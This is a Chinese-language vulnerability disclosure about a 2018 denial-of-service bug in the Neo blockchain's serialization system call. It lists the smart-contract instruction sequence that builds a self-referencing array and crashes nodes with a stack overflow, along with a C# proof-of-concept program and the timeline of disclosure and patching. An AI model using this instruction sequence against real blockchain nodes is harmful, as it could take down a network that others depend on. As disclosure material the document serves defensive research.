NEO是一個非盈利的社區(qū)化的區(qū)塊鏈項目。它是利用區(qū)塊鏈技術(shù)和數(shù)字身份進(jìn)行資產(chǎn)數(shù)字化,利用智能合約對數(shù)字資產(chǎn)進(jìn)行自動化管理,實現(xiàn)“智能經(jīng)濟”的一種分布式網(wǎng)絡(luò)。目前Neo市值在coinmarket上排名全球第十五,是備受關(guān)注的區(qū)塊鏈項目之一。我們在neo智能合約平臺中發(fā)現(xiàn)一處拒絕服務(wù)漏洞,攻擊者可利用該漏洞在瞬間使得整個neo網(wǎng)絡(luò)崩潰。
Neo智能合約平臺為合約提供了序列化虛擬機棧上某個對象的系統(tǒng)調(diào)用System.Runtime.Serialize。該調(diào)用再處理合約請求時未考慮到數(shù)組嵌套等問題,將導(dǎo)致智能合約系統(tǒng)平臺crash。由于Neo目前是有7個主節(jié)點負(fù)責(zé)驗證并打包全網(wǎng)交易。惡意用戶將利用該漏洞的惡意合約發(fā)布到neo網(wǎng)絡(luò)中,7個主節(jié)點在解析運行該惡意合約時將引發(fā)崩潰,進(jìn)而導(dǎo)致整個neo網(wǎng)絡(luò)拒絕服務(wù)。漏洞細(xì)節(jié)如下:
System.Runtime.Serialize系統(tǒng)調(diào)用會將用戶可執(zhí)行棧頂元素pop出來,然后調(diào)用SerializeStackItem函數(shù)進(jìn)行序列化。SerializeStackItem函數(shù)內(nèi)容如下:
大意是:當(dāng)合約調(diào)用System.Runtime.Serialize系統(tǒng)調(diào)用的時候,會對pop出虛擬機棧上的第一個元素(參數(shù)StackItem item),然后進(jìn)行SerializeStackItem序列化操作,寫到binarywriter writer中。SerializeStackItem判斷該元素類型,然后進(jìn)行不同的序列化操作。
其中StackItem有很多類型。如果是數(shù)組array類型的話。就會將array的大小和子元素全部再進(jìn)行一次序列化操作。這里的array是neo自定義的類型。本質(zhì)上是一個List。此處沒有考慮攻擊者可能將數(shù)組a作為子元素再加入到數(shù)組a中。即 a.Add(a)。如果此時再對a進(jìn)行反序列化,則會進(jìn)入無限循環(huán)。直到程序棧空間耗盡。觸發(fā)棧溢出異常StackOverflowException。
實際上在Neo虛擬機代碼中,我們可以看到虛擬機執(zhí)行的外層已經(jīng)對任意異常了捕捉,如下:
但該異常捕捉無法處理StackOverflowException異常。在.net中StackOverflowException 異常會導(dǎo)致整個進(jìn)程退出,無法catch該異常。進(jìn)而導(dǎo)致整個neo節(jié)點進(jìn)程直接崩潰。
攻擊虛擬機指令: push(a), dup(), dup(), appen(), System.Runtime.Serialize()
則可導(dǎo)致棧溢出異常,程序直接崩潰。【同理,stuct結(jié)構(gòu),map結(jié)構(gòu)一樣可以利用該漏洞】。
值得一提的是,在我們郵件給Neo官方通知漏洞后7分鐘內(nèi)。Neo創(chuàng)始人之一的Erik Zhang就直接回復(fù)郵件確認(rèn)漏洞存在,并在一個小時內(nèi)提交漏洞修復(fù)。效率相當(dāng)之高。 官方的對該漏洞修復(fù)非常干凈,通過增加一個序列化后元素的列表List來防止我們攻擊中的這種迭代引用。詳細(xì)見下圖:
2018/8/15 15:00發(fā)現(xiàn)并測試漏洞
2018/8/15 18:57郵件給Neo官方漏洞細(xì)節(jié)
2018/8/15 19:04 Neo官方回復(fù)確認(rèn)漏洞存在
2018/8/15 20:00 Neo創(chuàng)始人Erik Zhang提交漏洞修復(fù)
1. using System;
2. using System.Collections.Generic;
3. using System.IO;
4. using System.Linq;
5. using System.Text;
6. using System.Threading.Tasks;
7. using Neo;
8. using Neo.IO;
9. using Neo.SmartContract;
10. using Neo.VM;
11. using Neo.VM.Types;
12. using VMArray = Neo.VM.Types.Array;
13. using VMBoolean = Neo.VM.Types.Boolean;
14.
15. namespace ConsoleApp2
16. {
17. class Program
18. {
19. public static void SerializeStackItem(StackItem item, BinaryWriter writer)
20. {
21. switch (item)
22. {
23. case ByteArray _:
24. writer.WriteVarBytes(item.GetByteArray());
25. break;
26. case VMBoolean _:
27. writer.Write(item.GetBoolean());
28. break;
29. case Integer _:
30. writer.WriteVarBytes(item.GetByteArray());
31. break;
32. case InteropInterface _:
33. throw new NotSupportedException();
34. case VMArray array:
35. writer.WriteVarInt(array.Count);
36. foreach (StackItem subitem in array)
37. SerializeStackItem(subitem, writer);
38. break;
39. case Map map:
40. writer.WriteVarInt(map.Count);
41. foreach (var pair in map)
42. {
43. SerializeStackItem(pair.Key, writer);
44. SerializeStackItem(pair.Value, writer);
45. }
46. break;
47. }
48. }
49. static void Main(string[] args)
50. {
51. VMArray a,b;
52. a = new VMArray();
53. b = new VMArray();
54. a.Add(1);
55. b.Add(2);
56. MemoryStream ms = new MemoryStream();
57. BinaryWriter writer = new BinaryWriter(ms);
58.
59. RandomAccessStack Stack = new RandomAccessStack();
60. Stack.Push(a);
61. Stack.Push(Stack.Peek());
62. Stack.Push(Stack.Peek());
63. StackItem newItem = Stack.Pop();
64. StackItem arrItem = Stack.Pop();
65. if (arrItem is VMArray aray)
66. {
67. aray.Add(newItem);
68. }
69. try
70. {
71. SerializeStackItem(Stack.Pop(), writer);
72. }
73. catch (NotSupportedException)
74. {
75. Console.WriteLine("NotSupportedException");
76. }
77. catch (StackOverflowException)
78. {
79. Console.WriteLine("StackOverflowException");
80. }
81. writer.Flush();
82.
83. Console.WriteLine(ms.ToArray().ToHexString());
84.
85.
86. }
87. }
程序運行結(jié)果: